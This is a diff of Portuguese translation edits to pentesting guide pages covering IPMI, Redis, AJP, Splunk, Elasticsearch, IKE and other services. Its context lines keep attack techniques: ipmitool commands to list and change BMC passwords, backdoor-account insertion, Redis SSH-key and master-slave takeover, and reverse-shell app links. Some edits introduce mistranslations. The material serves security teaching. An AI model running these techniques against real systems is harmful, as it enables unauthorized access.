para operações do IPMI. +- **Baseboard Management Controller (BMC):** O microcontrolador principal para operações de IPMI. - **Buses e Interfaces de Comunicação:** Para comunicação interna e externa, incluindo ICMB, IPMB e várias interfaces para conexões locais e de rede. - **Memória IPMI:** Para armazenar logs e dados. @@ -50,7 +50,7 @@ Para detectar essa falha, o seguinte scanner auxiliar do Metasploit pode ser emp ```bash use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` -A exploração dessa falha é alcançável com `ipmitool`, como demonstrado abaixo, permitindo a listagem e modificação de senhas de usuários: +A exploração dessa falha é alcançável com `ipmitool`, conforme demonstrado abaixo, permitindo a listagem e modificação de senhas de usuários: ```bash apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users @@ -91,11 +91,11 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow ## Acessando o Host via BMC -O acesso administrativo ao Controlador de Gerenciamento de Placa Base (BMC) abre vários caminhos para acessar o sistema operacional do host. Uma abordagem simples envolve explorar a funcionalidade de Teclado, Vídeo e Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell root via GRUB (usando `init=/bin/sh`) ou inicializando a partir de um CD-ROM virtual configurado como disco de resgate. Esses métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer a reinicialização do host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, pode ser facilmente assumido através das funcionalidades KVM ou serial-over-LAN (sol) do BMC via `ipmitool`. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que demanda mais investigação. +O acesso administrativo ao Controlador de Gerenciamento de Placa Base (BMC) abre várias vias para acessar o sistema operacional do host. Uma abordagem simples envolve explorar a funcionalidade de Teclado, Vídeo e Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell root via GRUB (usando `init=/bin/sh`) ou inicializando a partir de um CD-ROM virtual configurado como disco de resgate. Esses métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer reiniciar o host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, pode ser facilmente assumido através das funcionalidades KVM ou serial-over-LAN (sol) do BMC via `ipmitool`. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que demanda mais investigação. ## Introduzindo Backdoors no BMC a partir do Host -Ao comprometer um host equipado com um BMC, a **interface BMC local pode ser aproveitada para inserir uma conta de usuário backdoor**, criando uma presença duradoura no servidor. Este ataque requer a presença de **`ipmitool`** no host comprometido e a ativação do suporte ao driver BMC. Os seguintes comandos ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até mesmo DOS. +Ao comprometer um host equipado com um BMC, a **interface local do BMC pode ser aproveitada para inserir uma conta de usuário backdoor**, criando uma presença duradoura no servidor. Este ataque requer a presença de **`ipmitool`** no host comprometido e a ativação do suporte ao driver do BMC. Os seguintes comandos ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até mesmo DOS. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit diff --git a/src/network-services-pentesting/6379-pentesting-redis.md b/src/network-services-pentesting/6379-pentesting-redis.md index c87cff7dc..a495b3eff 100644 --- a/src/network-services-pentesting/6379-pentesting-redis.md +++ b/src/network-services-pentesting/6379-pentesting-redis.md @@ -4,7 +4,7 @@ ## Informações Básicas -De [docs](https://redis.io/topics/introduction): Redis é um **armazenamento de estrutura de dados** em memória de código aberto (licenciado sob BSD), usado como um **banco de dados**, cache e corretor de mensagens. +De [documentação](https://redis.io/topics/introduction): Redis é um **armazenamento de estrutura de dados** em memória de código aberto (licença BSD), usado como um **banco de dados**, cache e corretor de mensagens. Por padrão, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que também pode implementar **ssl/tls**. Aprenda como [executar o Redis com ssl/tls aqui](https://fossies.org/linux/redis/TLS.md). @@ -180,7 +180,7 @@ OK 5. Finalmente, você pode **ssh** para o **servidor redis** com a chave privada: **ssh -i id_rsa redis@10.85.0.52** -**Esta técnica está automatizada aqui:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) +**Esta técnica é automatizada aqui:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) ### Crontab ``` @@ -217,7 +217,7 @@ Este método também pode ser usado para ganhar bitcoin :[yam](https://www.v2e ### Bypass do sandbox LUA -[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você conseguir **contornar o sandbox Lua**, poderá **executar comandos arbitrários** no sistema. Além disso, do mesmo post, você pode ver algumas **opções para causar DoS**. +[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você puder **burlar o sandbox Lua**, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post, você pode ver algumas **opções para causar DoS**. Alguns **CVEs para escapar do LUA**: @@ -225,7 +225,7 @@ Alguns **CVEs para escapar do LUA**: ### Módulo Master-Slave -​O redis master sincroniza automaticamente todas as operações para o redis slave, o que significa que podemos considerar a vulnerabilidade redis como um redis slave, conectado ao redis master que controlamos, então podemos inserir o comando no nosso próprio redis. +​O redis master sincroniza automaticamente todas as operações com o redis slave, o que significa que podemos considerar a vulnerabilidade do redis como um redis slave, conectado ao redis master que controlamos, então podemos inserir o comando no nosso próprio redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) @@ -239,7 +239,7 @@ set mykey2 helloworld ``` ## SSRF falando com Redis -Se você puder enviar uma solicitação **em texto claro** **para o Redis**, você pode **se comunicar com ele**, pois o Redis lerá linha por linha a solicitação e apenas responderá com erros para as linhas que não entende: +Se você puder enviar uma solicitação **em texto claro** **para Redis**, você pode **se comunicar com ele**, pois o Redis lerá linha por linha a solicitação e apenas responderá com erros para as linhas que não entende: ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' @@ -253,7 +253,7 @@ Portanto, se você encontrar uma **vulnerabilidade SSRF** em um site e puder **c ### Exemplo: Gitlab SSRF + CRLF para Shell -No **Gitlab11.4.7** foi descoberta uma vulnerabilidade **SSRF** e uma **CRLF**. A vulnerabilidade **SSRF** estava na **funcionalidade de importar projeto de URL** ao criar um novo projeto e permitia acessar IPs arbitrários na forma \[0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade **CRLF** foi explorada apenas **adicionando caracteres %0D%0A** à **URL**. +No **Gitlab11.4.7** foram descobertas uma vulnerabilidade **SSRF** e uma **CRLF**. A vulnerabilidade **SSRF** estava na **funcionalidade de importar projeto de URL** ao criar um novo projeto e permitia acessar IPs arbitrários na forma \[0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade **CRLF** foi explorada apenas **adicionando caracteres %0D%0A** à **URL**. Portanto, foi possível **abusar dessas vulnerabilidades para se comunicar com a instância do Redis** que **gerencia filas** do **gitlab** e abusar dessas filas para **obter execução de código**. O payload de abuso da fila do Redis é: ``` diff --git a/src/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/src/network-services-pentesting/7-tcp-udp-pentesting-echo.md index 9752fbae8..d62f5903a 100644 --- a/src/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/src/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -2,9 +2,9 @@ # Informações Básicas -Um serviço de eco está em execução neste host. O serviço de eco foi projetado para fins de teste e medição e pode escutar em protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificação.\ +Um serviço de eco está em execução neste host. O serviço de eco foi projetado para fins de teste e medição e pode escutar em ambos os protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificação.\ **É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma máquina ou em outra**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\ -Info from [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) +Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) **Porta Padrão:** 7/tcp/udp ``` diff --git a/src/network-services-pentesting/700-pentesting-epp.md b/src/network-services-pentesting/700-pentesting-epp.md index 75df1202b..44dc8dbbf 100644 --- a/src/network-services-pentesting/700-pentesting-epp.md +++ b/src/network-services-pentesting/700-pentesting-epp.md @@ -4,12 +4,12 @@ ## Informações Básicas -O Protocolo de Provisionamento Extensível (EPP) é um protocolo de rede usado para a **gestão de nomes de domínio e outros recursos da internet** por registros de nomes de domínio e registradores. Ele permite a automação dos processos de registro, renovação, transferência e exclusão de nomes de domínio, garantindo uma estrutura de comunicação padronizada e segura entre diferentes entidades no sistema de nomes de domínio (DNS). O EPP é projetado para ser flexível e extensível, permitindo a adição de novos recursos e comandos à medida que as necessidades da infraestrutura da internet evoluem. +O Protocolo de Provisionamento Extensível (EPP) é um protocolo de rede usado para a **gestão de nomes de domínio e outros recursos da internet** por registries e registradores de nomes de domínio. Ele permite a automação dos processos de registro, renovação, transferência e exclusão de nomes de domínio, garantindo uma estrutura de comunicação padronizada e segura entre diferentes entidades no sistema de nomes de domínio (DNS). O EPP é projetado para ser flexível e extensível, permitindo a adição de novos recursos e comandos à medida que as necessidades da infraestrutura da internet evoluem. Basicamente, é um dos protocolos que um **registrador de TLD vai oferecer aos registradores de domínio** para registrar novos domínios no TLD. ### Pentest -[**Neste artigo muito interessante**](https://hackcompute.com/hacking-epp-servers/) você pode ver como algumas pesquisas de segurança descobriram que várias **implementações deste protocolo** eram vulneráveis a XXE (XML External Entity), uma vez que este protocolo usa XML para se comunicar, o que teria permitido que atacantes assumissem o controle de dezenas de TLDs. +[**Neste artigo muito interessante**](https://hackcompute.com/hacking-epp-servers/) você pode ver como algumas pesquisas de segurança descobriram que várias **implementações deste protocolo** eram vulneráveis a XXE (XML External Entity), já que este protocolo usa XML para se comunicar, o que teria permitido que atacantes assumissem o controle de dezenas de TLDs. {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md index 82cb15603..4d1222720 100644 --- a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md +++ b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md @@ -6,7 +6,7 @@ De [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/) -> AJP é um protocolo de rede. É uma versão otimizada do protocolo HTTP para permitir que um servidor web autônomo, como o [Apache](http://httpd.apache.org/), se comunique com o Tomcat. Historicamente, o Apache tem sido muito mais rápido que o Tomcat na entrega de conteúdo estático. A ideia é permitir que o Apache sirva o conteúdo estático sempre que possível, mas faça o proxy da solicitação para o Tomcat para conteúdo relacionado ao Tomcat. +> AJP é um protocolo de rede. É uma versão otimizada do protocolo HTTP para permitir que um servidor web autônomo, como o [Apache](http://httpd.apache.org/), se comunique com o Tomcat. Historicamente, o Apache tem sido muito mais rápido que o Tomcat na entrega de conteúdo estático. A ideia é permitir que o Apache sirva o conteúdo estático sempre que possível, mas faça proxy da solicitação para o Tomcat para conteúdo relacionado ao Tomcat. Também interessante: @@ -21,7 +21,7 @@ PORT STATE SERVICE Esta é uma vulnerabilidade LFI que permite obter alguns arquivos como `WEB-INF/web.xml`, que contém credenciais. Este é um [exploit](https://www.exploit-db.com/exploits/48143) para abusar da vulnerabilidade e as portas expostas AJP podem ser vulneráveis a isso. -As versões corrigidas estão na versão 9.0.31 ou superior, 8.5.51 e 7.0.100. +As versões corrigidas são 9.0.31 ou superiores, 8.5.51 e 7.0.100. ## Enumeração @@ -37,7 +37,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 ([Confira a versão Dockerizada](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)) -É possível se comunicar com uma porta de proxy AJP aberta (8009 TCP) usando o módulo `ajp_module` do Nginx e acessar o Tomcat Manager a partir dessa porta, o que pode levar a RCE no servidor vulnerável. +É possível se comunicar com uma porta de proxy AJP aberta (8009 TCP) usando o módulo `ajp_module` do Apache no Nginx e acessar o Tomcat Manager a partir dessa porta, o que pode levar a RCE no servidor vulnerável. - Comece a baixar o Nginx de [https://nginx.org/en/download.html](https://nginx.org/en/download.html) e, em seguida, compile-o com o módulo ajp: ```bash diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 3f314f32e..46a6e2e85 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -18,7 +18,7 @@ Do ponto de vista de um pentester, este é outro banco de dados que pode estar a ### Autenticação -InfluxDB pode exigir autenticação ou não. +O InfluxDB pode exigir autenticação ou não. ```bash # Try unauthenticated influx -host 'host name' -port 'port #' @@ -36,7 +36,7 @@ As informações deste exemplo foram retiradas de [**aqui**](https://oznetnerd.c #### Mostrar bancos de dados -Os bancos de dados encontrados são `telegraf` e `internal` (você encontrará este último em todos os lugares) +Os bancos de dados encontrados são `telegraf` e `internal` (você encontrará este em todos os lugares) ```bash > show databases name: databases diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 4715ff3dd..70c86d054 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -55,9 +55,9 @@ Potencial de Exploração Chave: O Splunk oferece um método sofisticado para execução remota de código através da implantação de aplicações personalizadas, aproveitando suas capacidades de script multiplataforma. A técnica central de exploração gira em torno da criação de uma aplicação maliciosa que pode executar shells reversos em sistemas Windows e Linux. -Uma aplicação personalizada pode executar **scripts Python, Batch, Bash ou PowerShell**. Além disso, **o Splunk vem com Python instalado**, então mesmo em sistemas **Windows** você poderá executar código python. +Uma aplicação personalizada pode executar **scripts Python, Batch, Bash ou PowerShell**. Além disso, **o Splunk vem com Python instalado**, então mesmo em sistemas **Windows** você poderá executar código Python. -Você pode usar [**este**](https://github.com/0xjpuff/reverse_shell_splunk) exemplo com o **`bin`** contendo exemplo para [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ou você poderia criar o seu próprio. +Você pode usar [**este**](https://github.com/0xjpuff/reverse_shell_splunk) exemplo com o **`bin`** contendo exemplo para [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ou você pode criar o seu próprio. O processo de exploração segue uma metodologia consistente entre plataformas: ``` diff --git a/src/network-services-pentesting/873-pentesting-rsync.md b/src/network-services-pentesting/873-pentesting-rsync.md index 35d3d558a..a9d23b387 100644 --- a/src/network-services-pentesting/873-pentesting-rsync.md +++ b/src/network-services-pentesting/873-pentesting-rsync.md @@ -6,7 +6,7 @@ De [wikipedia](https://en.wikipedia.org/wiki/Rsync): -> **rsync** é uma utilidade para transferir e sincronizar eficientemente [files](https://en.wikipedia.org/wiki/Computer_file) entre um computador e um disco rígido externo e entre [computers](https://en.wikipedia.org/wiki/Computer) em uma [rede](https://en.wikipedia.org/wiki/Computer_network), comparando os [modification times]() e tamanhos dos arquivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) É comumente encontrado em [operating systems](https://en.wikipedia.org/wiki/Operating_system) [Unix-like](https://en.wikipedia.org/wiki/Unix-like). O algoritmo rsync é um tipo de [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) e é usado para minimizar o uso da rede. [Zlib](https://en.wikipedia.org/wiki/Zlib) pode ser usado para [data compression](https://en.wikipedia.org/wiki/Data_compression) adicional,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) podem ser usados para segurança. +> **rsync** é uma utilidade para transferir e sincronizar [arquivos](https://en.wikipedia.org/wiki/Computer_file) de forma eficiente entre um computador e um disco rígido externo e entre [computadores](https://en.wikipedia.org/wiki/Computer) em uma [rede](https://en.wikipedia.org/wiki/Computer_network), comparando os [tempos de modificação]() e tamanhos dos arquivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) É comumente encontrado em sistemas [operacionais](https://en.wikipedia.org/wiki/Operating_system) [Unix-like](https://en.wikipedia.org/wiki/Unix-like). O algoritmo rsync é um tipo de [codificação delta](https://en.wikipedia.org/wiki/Delta_encoding) e é usado para minimizar o uso da rede. [Zlib](https://en.wikipedia.org/wiki/Zlib) pode ser usado para compressão adicional de [dados](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) podem ser usados para segurança. **Porta padrão:** 873 ``` diff --git a/src/network-services-pentesting/9000-pentesting-fastcgi.md b/src/network-services-pentesting/9000-pentesting-fastcgi.md index ba0692c7e..6a968662e 100644 --- a/src/network-services-pentesting/9000-pentesting-fastcgi.md +++ b/src/network-services-pentesting/9000-pentesting-fastcgi.md @@ -8,7 +8,7 @@ Se você quer **aprender o que é FastCGI**, confira a página a seguir: pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md {{#endref}} -Por padrão, **FastCGI** roda na **porta** **9000** e não é reconhecido pelo nmap. **Geralmente**, FastCGI só escuta em **localhost**. +Por padrão, **FastCGI** roda na **porta** **9000** e não é reconhecido pelo nmap. **Geralmente**, o FastCGI só escuta em **localhost**. # RCE diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index fdc543e8f..42c4abe3d 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -2,7 +2,7 @@ # Informações Básicas -A partir de [aqui](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Impressão bruta é o que definimos como o processo de fazer uma conexão com a porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado como ‘_o protocolo de rede mais simples, rápido e geralmente mais confiável usado para impressoras_’. A impressão na porta 9100 bruta, também referida como JetDirect, AppSocket ou PDL-datastream, na verdade **não é um protocolo de impressão por si só**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela via TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo mensagens de status e erro. Tal **canal bidirecional** nos dá **acesso** direto aos **resultados** dos comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão na porta 9100 bruta – que é suportada por quase qualquer impressora de rede – é usada como o canal para análise de segurança com PRET e PFT. +A partir de [aqui](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Impressão bruta é o que definimos como o processo de fazer uma conexão com a porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado como ‘_o protocolo de rede mais simples, rápido e geralmente mais confiável usado para impressoras_’. A impressão na porta 9100 bruta, também referida como JetDirect, AppSocket ou PDL-datastream, na verdade **não é um protocolo de impressão por si só**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela sobre TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo mensagens de status e erro. Tal **canal bidirecional** nos dá **acesso** direto aos **resultados** de comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão na porta 9100 bruta – que é suportada por quase qualquer impressora de rede – é usada como o canal para análise de segurança com PRET e PFT. Se você quiser aprender mais sobre [**hackeando impressoras, leia esta página**](http://hacking-printers.net/wiki/index.php/Main_Page). diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index d5ff848de..53b510125 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -30,7 +30,7 @@ Se você não ver essa resposta acessando `/`, veja a seção seguinte. **Por padrão, o Elasticsearch não tem autenticação habilitada**, então, por padrão, você pode acessar tudo dentro do banco de dados sem usar credenciais. -Você pode verificar que a autenticação está desativada com uma solicitação para: +Você pode verificar que a autenticação está desabilitada com uma solicitação para: ```bash curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" {"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500} @@ -114,7 +114,7 @@ _Tire um momento para comparar o conteúdo de cada documento (entrada) dentro do Então, neste ponto, você pode notar que **existe um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão há um limite de 10 documentos**.\ Mas, agora que você sabe que **este índice contém 1000 documentos**, você pode **extrair todos eles** indicando o número de entradas que deseja extrair no parâmetro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Nota: Se você indicar um número maior, todas as entradas serão extraídas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e será estranho se houver mais entradas (mas você deve verificar)._ +\&#xNAN;_Nota: Se você indicar um número maior, todas as entradas serão extraídas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e seria estranho se houvesse mais entradas (mas você deve verificar)._ ### Dump all diff --git a/src/network-services-pentesting/cassandra.md b/src/network-services-pentesting/cassandra.md index 49b4a625b..9a9c12e2c 100644 --- a/src/network-services-pentesting/cassandra.md +++ b/src/network-services-pentesting/cassandra.md @@ -4,9 +4,9 @@ ## Informações Básicas -**Apache Cassandra** é um banco de dados **distribuído** **altamente escalável** e **de alto desempenho** projetado para lidar com **grandes quantidades de dados** em muitos **servidores comuns**, proporcionando **alta disponibilidade** sem **ponto único de falha**. É um tipo de **banco de dados NoSQL**. +**Apache Cassandra** é um **banco de dados distribuído** **altamente escalável** e **de alto desempenho** projetado para lidar com **grandes quantidades de dados** em muitos **servidores comuns**, proporcionando **alta disponibilidade** sem **ponto único de falha**. É um tipo de **banco de dados NoSQL**. -Em vários casos, você pode descobrir que o Cassandra aceita **quaisquer credenciais** (já que não há nenhuma configurada) e isso pode potencialmente permitir que um atacante **enumere** o banco de dados. +Em vários casos, você pode descobrir que o Cassandra aceita **qualquer credencial** (já que não há nenhuma configurada) e isso pode potencialmente permitir que um atacante **enumere** o banco de dados. **Porta padrão:** 9042,9160 ``` diff --git a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md index 146a97e34..3f36bfe1c 100644 --- a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -10,7 +10,7 @@ O estabelecimento de uma **associação de segurança (SA)** entre dois pontos - **Fase 1:** Um canal seguro é criado entre dois pontos finais. Isso é alcançado através do uso de uma Chave Pré-Compartilhada (PSK) ou certificados, empregando o modo principal, que envolve três pares de mensagens, ou **modo agressivo**. - **Fase 1.5:** Embora não seja obrigatório, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que tenta se conectar, exigindo um nome de usuário e senha. -- **Fase 2:** Esta fase é dedicada à negociação dos parâmetros para proteger dados com **ESP** e **AH**. Permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Perfect Forward Secrecy (PFS)**, aumentando a segurança. +- **Fase 2:** Esta fase é dedicada à negociação dos parâmetros para proteger dados com **ESP** e **AH**. Permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Perfeita Confidencialidade Futuro (PFS)**, aumentando a segurança. **Porta padrão:** 500/udp @@ -45,8 +45,8 @@ Como você pode ver na resposta anterior, há um campo chamado **AUTH** com o va **O valor da última linha também é muito importante:** - _0 returned handshake; 0 returned notify:_ Isso significa que o alvo **não é um gateway IPsec**. -- _**1 returned handshake; 0 returned notify:**_ Isso significa que o **alvo está configurado para IPsec e está disposto a realizar a negociação IKE, e um ou mais dos transformações que você propôs são aceitáveis** (uma transformação válida será mostrada na saída). -- _0 returned handshake; 1 returned notify:_ Os gateways VPN respondem com uma mensagem de notificação quando **nenhuma das transformações é aceitável** (embora alguns gateways não o façam, nesse caso, uma análise adicional e uma proposta revisada devem ser tentadas). +- _**1 returned handshake; 0 returned notify:**_ Isso significa que o **alvo está configurado para IPsec e está disposto a realizar a negociação IKE, e uma ou mais das transformações que você propôs são aceitáveis** (uma transformação válida será mostrada na saída). +- _0 returned handshake; 1 returned notify:_ Os gateways VPN respondem com uma mensagem de notificação quando **nenhuma das transformações é aceitável** (embora alguns gateways não o façam, caso em que uma análise adicional e uma proposta revisada devem ser tentadas). Então, neste caso, já temos uma transformação válida, mas se você estiver no 3º caso, então você precisa **forçar um pouco para encontrar uma transformação válida:** @@ -63,7 +63,7 @@ Se o brute-force não funcionou, talvez o servidor esteja respondendo sem handsh while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` Espero que **uma transformação válida seja retornada**.\ -Você também pode tentar o **mesmo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ +Você pode tentar o **mesmo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ Você também pode tentar forçar transformações com [**ikeforce**](https://github.com/SpiderLabs/ikeforce): ```bash ./ikeforce.py # No parameters are required for scan -h for additional help @@ -77,7 +77,7 @@ A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são fortes o sufici ### Fingerprinting de servidor -Então, você pode usar ike-scan para tentar **descobrir o fornecedor** do dispositivo. A ferramenta envia uma proposta inicial e para de reproduzir. Em seguida, ela **analisa** a **diferença** de **tempo** **entre** as **mensagens** recebidas do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão o **payload opcional Vendor ID (VID)** com IKE. +Então, você pode usar ike-scan para tentar **descobrir o fornecedor** do dispositivo. A ferramenta envia uma proposta inicial e para de reproduzir. Em seguida, ela **analisa** a **diferença** de **tempo** **entre** as **mensagens** recebidas do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão a **carga útil opcional de Vendor ID (VID)** com IKE. **Especifique a transformação válida, se necessário** (usando --trans) @@ -108,7 +108,7 @@ Isso também pode ser alcançado com o script nmap _**ike-version**_ Para ser permitido capturar o hash, você precisa de uma transformação válida que suporte o modo agressivo e o ID correto (nome do grupo). Provavelmente, você não saberá o nome do grupo válido, então terá que forçá-lo.\ Para isso, eu recomendaria 2 métodos: -### Forçando ID com ike-scan +### Forçando o ID com ike-scan Primeiro, tente fazer uma solicitação com um ID falso tentando coletar o hash ("-P"): ```bash @@ -144,7 +144,7 @@ Por padrão, **ikeforce** enviará no início alguns IDs aleatórios para verifi - O **segundo método** disponível é **verificar o número de respostas enviadas a cada tentativa** porque às vezes mais pacotes são enviados quando o ID correto é usado. - O **terceiro método** consiste em **procurar por "INVALID-ID-INFORMATION" em resposta a ID incorreto**. - Finalmente, se o servidor não responder nada às verificações, **ikeforce** tentará bruteforçar o servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\ -Obviamente, o objetivo de bruteforçar o ID é obter o **PSK** quando você tiver um ID válido. Então, com o **ID** e o **PSK**, você terá que bruteforçar o XAUTH (se estiver habilitado). +Obviamente, o objetivo de bruteforçar o ID é obter o **PSK** quando você tem um ID válido. Então, com o **ID** e o **PSK** você terá que bruteforçar o XAUTH (se estiver habilitado). Se você descobriu uma transformação específica, adicione-a no comando ikeforce. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas (você deve 